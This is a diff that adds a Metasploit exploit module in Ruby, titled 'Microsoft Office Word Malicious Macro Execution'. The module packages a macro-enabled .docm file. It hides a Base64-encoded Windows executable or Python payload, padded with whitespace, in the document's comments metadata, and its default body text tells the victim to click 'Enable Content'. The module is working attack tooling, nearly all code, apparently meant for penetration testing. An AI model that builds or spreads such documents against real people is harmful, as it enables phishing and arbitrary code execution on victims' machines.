|
| 1 | +## |
| 2 | +# This module requires Metasploit: http://metasploit.com/download |
| 3 | +# Current source: https://github.com/rapid7/metasploit-framework |
| 4 | +## |
| 5 | + |
| 6 | +require 'msf/core' |
| 7 | +require 'rex/zip' |
| 8 | + |
| 9 | +class MetasploitModule < Msf::Exploit::Remote |
| 10 | + Rank = ExcellentRanking |
| 11 | + |
| 12 | + include Msf::Exploit::FILEFORMAT |
| 13 | + include Msf::Exploit::EXE |
| 14 | + |
| 15 | + def initialize(info={}) |
| 16 | + super(update_info(info, |
| 17 | + 'Name' => "Microsoft Office Word Malicious Macro Execution", |
| 18 | + 'Description' => %q{ |
| 19 | + This module generates a macro-enabled Microsoft Office Word document. The comments |
| 20 | + metadata in the data is injected with a Base64 encoded payload, which will be |
| 21 | + decoded by the macro and execute as a Windows executable. |
| 22 | +
|
| 23 | + For a successful attack, the victim is required to manually enable macro execution. |
| 24 | + }, |
| 25 | + 'License' => MSF_LICENSE, |
| 26 | + 'Author' => |
| 27 | + [ |
| 28 | + 'sinn3r' # Metasploit |
| 29 | + ], |
| 30 | + 'References' => |
| 31 | + [ |
| 32 | + ['URL', 'https://en.wikipedia.org/wiki/Macro_virus'] |
| 33 | + ], |
| 34 | + 'DefaultOptions' => |
| 35 | + { |
| 36 | + 'EXITFUNC' => 'thread', |
| 37 | + 'DisablePayloadHandler' => true |
| 38 | + }, |
| 39 | + 'Targets' => |
| 40 | + [ |
| 41 | + [ |
| 42 | + 'Microsoft Office Word on Windows', |
| 43 | + { |
| 44 | + 'Platform' => 'win', |
| 45 | + } |
| 46 | + ], |
| 47 | + [ |
| 48 | + 'Microsoft Office Word on Mac OS X (Python)', |
| 49 | + { |
| 50 | + 'Platform' => 'python', |
| 51 | + 'Arch' => ARCH_PYTHON |
| 52 | + } |
| 53 | + ] |
| 54 | + ], |
| 55 | + 'Privileged' => false, |
| 56 | + 'DisclosureDate' => "Jan 10 2012" |
| 57 | + )) |
| 58 | + |
| 59 | + register_options([ |
| 60 | + OptString.new("BODY", [false, 'The message for the document body', |
| 61 | + 'Contents of this document are protected. Please click Enable Content to continue.' |
| 62 | + ]), |
| 63 | + OptString.new('FILENAME', [true, 'The Office document macro file', 'msf.docm']) |
| 64 | + ], self.class) |
| 65 | + end |
| 66 | + |
| 67 | + |
| 68 | + def on_file_read(short_fname, full_fname) |
| 69 | + buf = File.read(full_fname) |
| 70 | + |
| 71 | + case short_fname |
| 72 | + when /document\.xml/ |
| 73 | + buf.gsub!(/DOCBODYGOESHER/, datastore['BODY']) |
| 74 | + when /core\.xml/ |
| 75 | + p = target.name =~ /Python/ ? payload.encoded : generate_payload_exe |
| 76 | + b64_payload = ' ' * 55 |
| 77 | + b64_payload << Rex::Text.encode_base64(p) |
| 78 | + buf.gsub!(/PAYLOADGOESHERE/, b64_payload) |
| 79 | + end |
| 80 | + |
| 81 | + # The original filename of __rels is actually ".rels". |
| 82 | + # But for some reason if that's our original filename, it won't be included |
| 83 | + # in the archive. So this hacks around that. |
| 84 | + case short_fname |
| 85 | + when /__rels/ |
| 86 | + short_fname.gsub!(/\_\_rels/, '.rels') |
| 87 | + end |
| 88 | + |
| 89 | + yield short_fname, buf |
| 90 | + end |
| 91 | + |
| 92 | + |
| 93 | + def package_docm(path) |
| 94 | + zip = Rex::Zip::Archive.new |
| 95 | + |
| 96 | + Dir["#{path}/**/**"].each do |file| |
| 97 | + p = file.sub(path+'/','') |
| 98 | + |
| 99 | + if File.directory?(file) |
| 100 | + print_status("Packaging directory: #{file}") |
| 101 | + zip.add_file(p) |
| 102 | + else |
| 103 | + on_file_read(p, file) do |fname, buf| |
| 104 | + print_status("Packaging file: #{fname}") |
| 105 | + zip.add_file(fname, buf) |
| 106 | + end |
| 107 | + end |
| 108 | + end |
| 109 | + |
| 110 | + zip.pack |
| 111 | + end |
| 112 | + |
| 113 | + |
| 114 | + def exploit |
| 115 | + print_status('Generating our docm file...') |
| 116 | + path = File.join(Msf::Config.install_root, 'data', 'exploits', 'office_word_macro') |
| 117 | + docm = package_docm(path) |
| 118 | + file_create(docm) |
| 119 | + super |
| 120 | + end |
| 121 | + |
| 122 | +end |
0 commit comments